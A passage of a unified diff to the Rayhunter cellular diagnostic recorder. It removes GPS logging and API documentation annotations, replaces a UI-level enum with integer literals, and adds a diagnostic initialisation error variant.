||||||
|
}
|
||||||
}
|
}
|
||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
@@ -391,20 +328,6 @@ impl DiagTask {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
debug!("done!");
|
debug!("done!");
|
||||||
|
|
||||||
// Extract the latest packet timestamp from this container
|
|
||||||
if let Some(ts) = container
|
|
||||||
.messages()
|
|
||||||
.into_iter()
|
|
||||||
.filter_map(|r| match r {
|
|
||||||
Ok(Message::Log { timestamp, .. }) => Some(timestamp.to_datetime().timestamp()),
|
|
||||||
_ => None,
|
|
||||||
})
|
|
||||||
.max()
|
|
||||||
{
|
|
||||||
self.latest_packet_timestamp = Some(ts);
|
|
||||||
}
|
|
||||||
|
|
||||||
let container_bytes: usize = container.messages.iter().map(|m| m.data.len()).sum();
|
let container_bytes: usize = container.messages.iter().map(|m| m.data.len()).sum();
|
||||||
self.bytes_since_space_check += container_bytes;
|
self.bytes_since_space_check += container_bytes;
|
||||||
let max_type = match analysis_writer.analyze(container).await {
|
let max_type = match analysis_writer.analyze(container).await {
|
||||||
@@ -447,7 +370,7 @@ impl DiagTask {
|
|||||||
#[allow(clippy::too_many_arguments)]
|
#[allow(clippy::too_many_arguments)]
|
||||||
pub fn run_diag_read_thread(
|
pub fn run_diag_read_thread(
|
||||||
task_tracker: &TaskTracker,
|
task_tracker: &TaskTracker,
|
||||||
device: Device,
|
mut dev: DiagDevice,
|
||||||
mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>,
|
mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>,
|
||||||
qmdl_file_tx: Sender<DiagDeviceCtrlMessage>,
|
qmdl_file_tx: Sender<DiagDeviceCtrlMessage>,
|
||||||
ui_update_sender: Sender<display::DisplayState>,
|
ui_update_sender: Sender<display::DisplayState>,
|
||||||
@@ -457,27 +380,10 @@ pub fn run_diag_read_thread(
|
|||||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||||
min_space_to_start_mb: u64,
|
min_space_to_start_mb: u64,
|
||||||
min_space_to_continue_mb: u64,
|
min_space_to_continue_mb: u64,
|
||||||
gps_mode: GpsMode,
|
|
||||||
gps_fixed_coords: Option<(f64, f64)>,
|
|
||||||
) {
|
) {
|
||||||
task_tracker.spawn(async move {
|
task_tracker.spawn(async move {
|
||||||
info!("Using configuration for device: {0:?}", device);
|
|
||||||
let mut dev = DiagDevice::new(&device)
|
|
||||||
.await?;
|
|
||||||
dev.config_logs()
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
let mut diag_stream = pin!(dev.as_stream().into_stream());
|
let mut diag_stream = pin!(dev.as_stream().into_stream());
|
||||||
let mut diag_task = DiagTask::new(
|
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config, notification_channel, min_space_to_start_mb, min_space_to_continue_mb);
|
||||||
ui_update_sender,
|
|
||||||
analysis_sender,
|
|
||||||
analyzer_config,
|
|
||||||
notification_channel,
|
|
||||||
min_space_to_start_mb,
|
|
||||||
min_space_to_continue_mb,
|
|
||||||
gps_mode,
|
|
||||||
gps_fixed_coords,
|
|
||||||
);
|
|
||||||
qmdl_file_tx
|
qmdl_file_tx
|
||||||
.send(DiagDeviceCtrlMessage::StartRecording { response_tx: None })
|
.send(DiagDeviceCtrlMessage::StartRecording { response_tx: None })
|
||||||
.await
|
.await
|
||||||
@@ -518,10 +424,6 @@ pub fn run_diag_read_thread(
|
|||||||
error!("Failed to send delete all entries respons, receiver dropped");
|
error!("Failed to send delete all entries respons, receiver dropped");
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
Some(DiagDeviceCtrlMessage::GpsUpdate { lat, lon }) => {
|
|
||||||
let qmdl_store = qmdl_store_lock.read().await;
|
|
||||||
diag_task.handle_gps_update(&qmdl_store, lat, lon).await;
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
maybe_container = diag_stream.next() => {
|
maybe_container = diag_stream.next() => {
|
||||||
@@ -542,18 +444,6 @@ pub fn run_diag_read_thread(
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Start recording API for web thread
|
/// Start recording API for web thread
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/start-recording",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::ACCEPTED, description = "Success"),
|
|
||||||
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Recording action unsuccessful")
|
|
||||||
),
|
|
||||||
summary = "Start recording",
|
|
||||||
description = "Begin a new data capture."
|
|
||||||
))]
|
|
||||||
pub async fn start_recording(
|
pub async fn start_recording(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||||
@@ -577,7 +467,7 @@ pub async fn start_recording(
|
|||||||
|
|
||||||
match response_rx.await {
|
match response_rx.await {
|
||||||
Ok(Ok(())) => Ok((StatusCode::ACCEPTED, "ok".to_string())),
|
Ok(Ok(())) => Ok((StatusCode::ACCEPTED, "ok".to_string())),
|
||||||
Ok(Err(reason)) => Err((StatusCode::INSUFFICIENT_STORAGE, reason.to_string())),
|
Ok(Err(reason)) => Err((StatusCode::INSUFFICIENT_STORAGE, reason)),
|
||||||
Err(e) => Err((
|
Err(e) => Err((
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
format!("failed to receive start recording response: {e}"),
|
format!("failed to receive start recording response: {e}"),
|
||||||
@@ -586,18 +476,6 @@ pub async fn start_recording(
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Stop recording API for web thread
|
/// Stop recording API for web thread
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/stop-recording",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::ACCEPTED, description = "Success"),
|
|
||||||
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Recording action unsuccessful")
|
|
||||||
),
|
|
||||||
summary = "Stop recording",
|
|
||||||
description = "Stop current data capture."
|
|
||||||
))]
|
|
||||||
pub async fn stop_recording(
|
pub async fn stop_recording(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||||
@@ -617,22 +495,6 @@ pub async fn stop_recording(
|
|||||||
Ok((StatusCode::ACCEPTED, "ok".to_string()))
|
Ok((StatusCode::ACCEPTED, "ok".to_string()))
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/delete-recording/{name}",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::ACCEPTED, description = "Success"),
|
|
||||||
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Delete action unsuccessful"),
|
|
||||||
(status = StatusCode::BAD_REQUEST, description = "Bad recording name or no such recording")
|
|
||||||
),
|
|
||||||
params(
|
|
||||||
("name" = String, Path, description = "QMDL file to delete")
|
|
||||||
),
|
|
||||||
summary = "Delete recording",
|
|
||||||
description = "Remove data capture file named {name}."
|
|
||||||
))]
|
|
||||||
pub async fn delete_recording(
|
pub async fn delete_recording(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Path(qmdl_name): Path<String>,
|
Path(qmdl_name): Path<String>,
|
||||||
@@ -672,18 +534,6 @@ pub async fn delete_recording(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/delete-all-recordings",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::ACCEPTED, description = "Success"),
|
|
||||||
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Delete action unsuccessful")
|
|
||||||
),
|
|
||||||
summary = "Delete all recordings",
|
|
||||||
description = "Remove all saved data capture files."
|
|
||||||
))]
|
|
||||||
pub async fn delete_all_recordings(
|
pub async fn delete_all_recordings(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||||
@@ -715,21 +565,6 @@ pub async fn delete_all_recordings(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/analysis-report/{name}",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = ReportMetadata, content_type = "application/x-ndjson"),
|
|
||||||
(status = StatusCode::SERVICE_UNAVAILABLE, description = "No QMDL files available; start a new recording."),
|
|
||||||
(status = StatusCode::NOT_FOUND, description = "File {name} not found")
|
|
||||||
),
|
|
||||||
params(
|
|
||||||
("name" = String, Path, description = "QMDL file to analyze")
|
|
||||||
),
|
|
||||||
summary = "Analysis report",
|
|
||||||
description = "Download processed analysis report for QMDL file {name}, as well as the types (and versions) of analyzers used."
|
|
||||||
))]
|
|
||||||
pub async fn get_analysis_report(
|
pub async fn get_analysis_report(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Path(qmdl_name): Path<String>,
|
Path(qmdl_name): Path<String>,
|
||||||
@@ -747,10 +582,9 @@ pub async fn get_analysis_report(
|
|||||||
))?
|
))?
|
||||||
};
|
};
|
||||||
let analysis_file = qmdl_store
|
let analysis_file = qmdl_store
|
||||||
.open_file(entry_index, FileKind::Analysis)
|
.open_entry_analysis(entry_index)
|
||||||
.await
|
.await
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?;
|
||||||
.ok_or((StatusCode::NOT_FOUND, "Analysis file not found".to_string()))?;
|
|
||||||
|
|
||||||
// Read and normalize the NDJSON file
|
// Read and normalize the NDJSON file
|
||||||
let reader = BufReader::new(analysis_file);
|
let reader = BufReader::new(analysis_file);
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ use image::{AnimationDecoder, DynamicImage, codecs::gif::GifDecoder, imageops::F
|
|||||||
use std::io::Cursor;
|
use std::io::Cursor;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use crate::config::{self, UiLevel};
|
use crate::config;
|
||||||
use crate::display::DisplayState;
|
use crate::display::DisplayState;
|
||||||
use rayhunter::analysis::analyzer::EventType;
|
use rayhunter::analysis::analyzer::EventType;
|
||||||
|
|
||||||
@@ -102,7 +102,7 @@ pub trait GenericFramebuffer: Send + 'static {
|
|||||||
resized_img = img;
|
resized_img = img;
|
||||||
}
|
}
|
||||||
let img_rgba8 = resized_img.as_rgba8().unwrap();
|
let img_rgba8 = resized_img.as_rgba8().unwrap();
|
||||||
let mut buf = Vec::with_capacity((height * width).try_into().unwrap());
|
let mut buf = Vec::new();
|
||||||
for y in 0..height {
|
for y in 0..height {
|
||||||
for x in 0..width {
|
for x in 0..width {
|
||||||
let px = img_rgba8.get_pixel(x, y);
|
let px = img_rgba8.get_pixel(x, y);
|
||||||
@@ -145,7 +145,7 @@ pub trait GenericFramebuffer: Send + 'static {
|
|||||||
|
|
||||||
async fn draw_patterned_line(&mut self, color: Color, height: u32, pattern: LinePattern) {
|
async fn draw_patterned_line(&mut self, color: Color, height: u32, pattern: LinePattern) {
|
||||||
let width = self.dimensions().width;
|
let width = self.dimensions().width;
|
||||||
let mut buffer = Vec::with_capacity((height * width).try_into().unwrap());
|
let mut buffer = Vec::new();
|
||||||
|
|
||||||
for _row in 0..height {
|
for _row in 0..height {
|
||||||
for col in 0..width {
|
for col in 0..width {
|
||||||
@@ -176,7 +176,7 @@ pub fn update_ui(
|
|||||||
) {
|
) {
|
||||||
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/");
|
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/");
|
||||||
let display_level = config.ui_level;
|
let display_level = config.ui_level;
|
||||||
if display_level == UiLevel::Invisible {
|
if display_level == 0 {
|
||||||
info!("Invisible mode, not spawning UI.");
|
info!("Invisible mode, not spawning UI.");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -187,14 +187,14 @@ pub fn update_ui(
|
|||||||
task_tracker.spawn(async move {
|
task_tracker.spawn(async move {
|
||||||
// this feels wrong, is there a more rusty way to do this?
|
// this feels wrong, is there a more rusty way to do this?
|
||||||
let mut img: Option<&[u8]> = None;
|
let mut img: Option<&[u8]> = None;
|
||||||
if display_level == UiLevel::Demo {
|
if display_level == 2 {
|
||||||
img = Some(
|
img = Some(
|
||||||
IMAGE_DIR
|
IMAGE_DIR
|
||||||
.get_file("orca.gif")
|
.get_file("orca.gif")
|
||||||
.expect("failed to read orca.gif")
|
.expect("failed to read orca.gif")
|
||||||
.contents(),
|
.contents(),
|
||||||
);
|
);
|
||||||
} else if display_level == UiLevel::EffLogo {
|
} else if display_level == 3 {
|
||||||
img = Some(
|
img = Some(
|
||||||
IMAGE_DIR
|
IMAGE_DIR
|
||||||
.get_file("eff.png")
|
.get_file("eff.png")
|
||||||
@@ -217,19 +217,20 @@ pub fn update_ui(
|
|||||||
|
|
||||||
let mut status_bar_height = 2;
|
let mut status_bar_height = 2;
|
||||||
match display_level {
|
match display_level {
|
||||||
UiLevel::Demo => fb.draw_gif(img.unwrap()).await,
|
2 => fb.draw_gif(img.unwrap()).await,
|
||||||
UiLevel::EffLogo => fb.draw_img(img.unwrap()).await,
|
3 => fb.draw_img(img.unwrap()).await,
|
||||||
UiLevel::HighVisibility => {
|
4 => {
|
||||||
status_bar_height = fb.dimensions().height;
|
status_bar_height = fb.dimensions().height;
|
||||||
}
|
}
|
||||||
UiLevel::TransFlag => {
|
128 => {
|
||||||
fb.draw_line(Color::Cyan, 128).await;
|
fb.draw_line(Color::Cyan, 128).await;
|
||||||
fb.draw_line(Color::Pink, 102).await;
|
fb.draw_line(Color::Pink, 102).await;
|
||||||
fb.draw_line(Color::White, 76).await;
|
fb.draw_line(Color::White, 76).await;
|
||||||
fb.draw_line(Color::Pink, 50).await;
|
fb.draw_line(Color::Pink, 50).await;
|
||||||
fb.draw_line(Color::Cyan, 25).await;
|
fb.draw_line(Color::Cyan, 25).await;
|
||||||
}
|
}
|
||||||
// UiLevel::Subtle (1) and anything else: just the status bar line
|
// this branch is for ui_level 1, which is also the default if an
|
||||||
|
// unknown value is used
|
||||||
_ => {}
|
_ => {}
|
||||||
};
|
};
|
||||||
let (color, pattern) = display_style;
|
let (color, pattern) = display_style;
|
||||||
|
|||||||
@@ -12,9 +12,7 @@ pub mod tplink_onebit;
|
|||||||
pub mod uz801;
|
pub mod uz801;
|
||||||
pub mod wingtech;
|
pub mod wingtech;
|
||||||
|
|
||||||
/// A list of available display states
|
|
||||||
#[derive(Clone, Copy, PartialEq, Serialize, Deserialize)]
|
#[derive(Clone, Copy, PartialEq, Serialize, Deserialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub enum DisplayState {
|
pub enum DisplayState {
|
||||||
/// We're recording but no warning has been found yet.
|
/// We're recording but no warning has been found yet.
|
||||||
Recording,
|
Recording,
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ impl GenericFramebuffer for Framebuffer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
|
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
|
||||||
let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
|
let mut raw_buffer = Vec::new();
|
||||||
for (r, g, b) in buffer {
|
for (r, g, b) in buffer {
|
||||||
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
|
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
|
||||||
rgb565 |= (g as u16 & 0b11111100) << 3;
|
rgb565 |= (g as u16 & 0b11111100) << 3;
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ use tokio_util::task::TaskTracker;
|
|||||||
|
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use crate::config::{self, UiLevel};
|
use crate::config;
|
||||||
use crate::display::DisplayState;
|
use crate::display::DisplayState;
|
||||||
|
|
||||||
macro_rules! led {
|
macro_rules! led {
|
||||||
@@ -31,7 +31,7 @@ pub fn update_ui(
|
|||||||
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
||||||
) {
|
) {
|
||||||
let mut invisible: bool = false;
|
let mut invisible: bool = false;
|
||||||
if config.ui_level == UiLevel::Invisible {
|
if config.ui_level == 0 {
|
||||||
info!("Invisible mode, not spawning UI.");
|
info!("Invisible mode, not spawning UI.");
|
||||||
invisible = true;
|
invisible = true;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ use tokio::sync::mpsc::Receiver;
|
|||||||
use tokio_util::sync::CancellationToken;
|
use tokio_util::sync::CancellationToken;
|
||||||
use tokio_util::task::TaskTracker;
|
use tokio_util::task::TaskTracker;
|
||||||
|
|
||||||
use crate::config::{self, UiLevel};
|
use crate::config;
|
||||||
use crate::display::{DisplayState, tplink_framebuffer, tplink_onebit};
|
use crate::display::{DisplayState, tplink_framebuffer, tplink_onebit};
|
||||||
|
|
||||||
use std::fs;
|
use std::fs;
|
||||||
@@ -15,7 +15,7 @@ pub fn update_ui(
|
|||||||
ui_update_rx: Receiver<DisplayState>,
|
ui_update_rx: Receiver<DisplayState>,
|
||||||
) {
|
) {
|
||||||
let display_level = config.ui_level;
|
let display_level = config.ui_level;
|
||||||
if display_level == UiLevel::Invisible {
|
if display_level == 0 {
|
||||||
info!("Invisible mode, not spawning UI.");
|
info!("Invisible mode, not spawning UI.");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ impl GenericFramebuffer for Framebuffer {
|
|||||||
rop: 0,
|
rop: 0,
|
||||||
};
|
};
|
||||||
|
|
||||||
let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
|
let mut raw_buffer = Vec::new();
|
||||||
for (r, g, b) in buffer {
|
for (r, g, b) in buffer {
|
||||||
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
|
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
|
||||||
rgb565 |= (g as u16 & 0b11111100) << 3;
|
rgb565 |= (g as u16 & 0b11111100) << 3;
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
/// Display module for the TP-Link M7350 oled one-bit display.
|
/// Display module for the TP-Link M7350 oled one-bit display.
|
||||||
///
|
///
|
||||||
/// https://github.com/m0veax/tplink_m7350/tree/main/oled
|
/// https://github.com/m0veax/tplink_m7350/tree/main/oled
|
||||||
use crate::config::{self, UiLevel};
|
use crate::config;
|
||||||
use crate::display::DisplayState;
|
use crate::display::DisplayState;
|
||||||
|
|
||||||
use log::{error, info};
|
use log::{error, info};
|
||||||
@@ -115,7 +115,7 @@ pub fn update_ui(
|
|||||||
mut ui_update_rx: Receiver<DisplayState>,
|
mut ui_update_rx: Receiver<DisplayState>,
|
||||||
) {
|
) {
|
||||||
let display_level = config.ui_level;
|
let display_level = config.ui_level;
|
||||||
if display_level == UiLevel::Invisible {
|
if display_level == 0 {
|
||||||
info!("Invisible mode, not spawning UI.");
|
info!("Invisible mode, not spawning UI.");
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -140,7 +140,7 @@ pub fn update_ui(
|
|||||||
|
|
||||||
// we write the status every second because it may have been overwritten through menu
|
// we write the status every second because it may have been overwritten through menu
|
||||||
// navigation.
|
// navigation.
|
||||||
if display_level != UiLevel::Invisible
|
if display_level != 0
|
||||||
&& let Err(e) = tokio::fs::write(OLED_PATH, pixels).await
|
&& let Err(e) = tokio::fs::write(OLED_PATH, pixels).await
|
||||||
{
|
{
|
||||||
error!("failed to write to display: {e}");
|
error!("failed to write to display: {e}");
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ use tokio_util::task::TaskTracker;
|
|||||||
|
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use crate::config::{self, UiLevel};
|
use crate::config;
|
||||||
use crate::display::DisplayState;
|
use crate::display::DisplayState;
|
||||||
|
|
||||||
macro_rules! led {
|
macro_rules! led {
|
||||||
@@ -31,7 +31,7 @@ pub fn update_ui(
|
|||||||
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
||||||
) {
|
) {
|
||||||
let mut invisible: bool = false;
|
let mut invisible: bool = false;
|
||||||
if config.ui_level == UiLevel::Invisible {
|
if config.ui_level == 0 {
|
||||||
info!("Invisible mode, not spawning UI.");
|
info!("Invisible mode, not spawning UI.");
|
||||||
invisible = true;
|
invisible = true;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ impl GenericFramebuffer for Framebuffer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
|
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
|
||||||
let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
|
let mut raw_buffer = Vec::new();
|
||||||
for (r, g, b) in buffer {
|
for (r, g, b) in buffer {
|
||||||
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
|
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
|
||||||
rgb565 |= (g as u16 & 0b11111100) << 3;
|
rgb565 |= (g as u16 & 0b11111100) << 3;
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
use rayhunter::diag_device::DiagDeviceError;
|
||||||
use thiserror::Error;
|
use thiserror::Error;
|
||||||
|
|
||||||
use crate::qmdl_store::RecordingStoreError;
|
use crate::qmdl_store::RecordingStoreError;
|
||||||
@@ -6,6 +7,8 @@ use crate::qmdl_store::RecordingStoreError;
|
|||||||
pub enum RayhunterError {
|
pub enum RayhunterError {
|
||||||
#[error("Config file parsing error: {0}")]
|
#[error("Config file parsing error: {0}")]
|
||||||
ConfigFileParsingError(#[from] toml::de::Error),
|
ConfigFileParsingError(#[from] toml::de::Error),
|
||||||
|
#[error("Diag intialization error: {0}")]
|
||||||
|
DiagInitError(DiagDeviceError),
|
||||||
#[error("Tokio error: {0}")]
|
#[error("Tokio error: {0}")]
|
||||||
TokioError(#[from] tokio::io::Error),
|
TokioError(#[from] tokio::io::Error),
|
||||||
#[error("QmdlStore error: {0}")]
|
#[error("QmdlStore error: {0}")]
|
||||||
|
|||||||
@@ -1,151 +0,0 @@
|
|||||||
use axum::Json;
|
|
||||||
use axum::extract::State;
|
|
||||||
use axum::http::StatusCode;
|
|
||||||
use log::{error, warn};
|
|
||||||
use serde::{Deserialize, Deserializer, Serialize};
|
|
||||||
use std::sync::Arc;
|
|
||||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
|
||||||
|
|
||||||
use crate::config::GpsMode;
|
|
||||||
use crate::diag::DiagDeviceCtrlMessage;
|
|
||||||
use crate::server::ServerState;
|
|
||||||
|
|
||||||
fn deserialize_latitude<'de, D>(deserializer: D) -> Result<f64, D::Error>
|
|
||||||
where
|
|
||||||
D: Deserializer<'de>,
|
|
||||||
{
|
|
||||||
use serde::de;
|
|
||||||
let v = f64::deserialize(deserializer)?;
|
|
||||||
if !(-90.0..=90.0).contains(&v) {
|
|
||||||
return Err(de::Error::custom(format!(
|
|
||||||
"latitude {v} out of range [-90, 90]"
|
|
||||||
)));
|
|
||||||
}
|
|
||||||
Ok(v)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn deserialize_longitude<'de, D>(deserializer: D) -> Result<f64, D::Error>
|
|
||||||
where
|
|
||||||
D: Deserializer<'de>,
|
|
||||||
{
|
|
||||||
use serde::de;
|
|
||||||
let v = f64::deserialize(deserializer)?;
|
|
||||||
if !(-180.0..=180.0).contains(&v) {
|
|
||||||
return Err(de::Error::custom(format!(
|
|
||||||
"longitude {v} out of range [-180, 180]"
|
|
||||||
)));
|
|
||||||
}
|
|
||||||
Ok(v)
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Clone, Debug, Serialize, Deserialize)]
|
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct GpsData {
|
|
||||||
#[serde(deserialize_with = "deserialize_latitude")]
|
|
||||||
pub latitude: f64,
|
|
||||||
#[serde(deserialize_with = "deserialize_longitude")]
|
|
||||||
pub longitude: f64,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize)]
|
|
||||||
pub struct GpsRecord {
|
|
||||||
/// Packet timestamp (modem clock) for correlation with captured packets.
|
|
||||||
/// None if no packets have been received yet.
|
|
||||||
pub latest_packet_timestamp: Option<i64>,
|
|
||||||
/// Drift-corrected system time when this GPS fix was received
|
|
||||||
pub system_time: i64,
|
|
||||||
pub lat: f64,
|
|
||||||
pub lon: f64,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Reads all GPS records from a storage NDJSON file, logging and skipping malformed lines.
|
|
||||||
pub async fn load_gps_records(file: tokio::fs::File) -> Vec<GpsRecord> {
|
|
||||||
let reader = BufReader::new(file);
|
|
||||||
let mut lines = reader.lines();
|
|
||||||
let mut records = Vec::new();
|
|
||||||
loop {
|
|
||||||
match lines.next_line().await {
|
|
||||||
Ok(Some(line)) => match serde_json::from_str::<GpsRecord>(&line) {
|
|
||||||
Ok(record) => records.push(record),
|
|
||||||
Err(e) => warn!("skipping malformed GPS storage line: {e}"),
|
|
||||||
},
|
|
||||||
Ok(None) => break,
|
|
||||||
Err(e) => {
|
|
||||||
error!("error reading GPS storage file: {e}");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
records.sort_by_key(|r| r.latest_packet_timestamp.unwrap_or(i64::MIN));
|
|
||||||
records
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Submit GPS coordinates
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/gps",
|
|
||||||
tag = "Configuration",
|
|
||||||
request_body = GpsData,
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "GPS data accepted"),
|
|
||||||
(status = StatusCode::FORBIDDEN, description = "GPS API endpoint is disabled"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Failed to send GPS update")
|
|
||||||
),
|
|
||||||
summary = "Submit GPS coordinates",
|
|
||||||
description = "Submit GPS coordinates from an external source (e.g. a phone app). Requires gps_mode to be set to 'Api' in configuration. latitude is in decimal degrees from -90 to 90, longitude is in decimal degrees from -180 to 180. The timestamp is derived from the most recent packet's modem timestamp."
|
|
||||||
))]
|
|
||||||
pub async fn post_gps(
|
|
||||||
State(state): State<Arc<ServerState>>,
|
|
||||||
Json(gps_data): Json<GpsData>,
|
|
||||||
) -> Result<StatusCode, (StatusCode, String)> {
|
|
||||||
if state.config.gps_mode != GpsMode::Api {
|
|
||||||
return Err((
|
|
||||||
StatusCode::FORBIDDEN,
|
|
||||||
"GPS API endpoint is disabled. Set gps_mode to API endpoint in configuration."
|
|
||||||
.to_string(),
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Update in-memory state for GET /api/gps
|
|
||||||
let mut gps = state.gps_state.write().await;
|
|
||||||
*gps = Some(gps_data.clone());
|
|
||||||
drop(gps);
|
|
||||||
|
|
||||||
// Send to DiagTask to write to storage with packet timestamp
|
|
||||||
state
|
|
||||||
.diag_device_ctrl_sender
|
|
||||||
.send(DiagDeviceCtrlMessage::GpsUpdate {
|
|
||||||
lat: gps_data.latitude,
|
|
||||||
lon: gps_data.longitude,
|
|
||||||
})
|
|
||||||
.await
|
|
||||||
.map_err(|e| {
|
|
||||||
error!("failed to send GPS update: {e}");
|
|
||||||
(
|
|
||||||
StatusCode::INTERNAL_SERVER_ERROR,
|
|
||||||
format!("failed to send GPS update: {e}"),
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
|
|
||||||
Ok(StatusCode::OK)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the current GPS coordinates
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/gps",
|
|
||||||
tag = "Configuration",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Current GPS data", body = GpsData),
|
|
||||||
(status = StatusCode::NOT_FOUND, description = "No GPS data available")
|
|
||||||
),
|
|
||||||
summary = "Get current GPS coordinates",
|
|
||||||
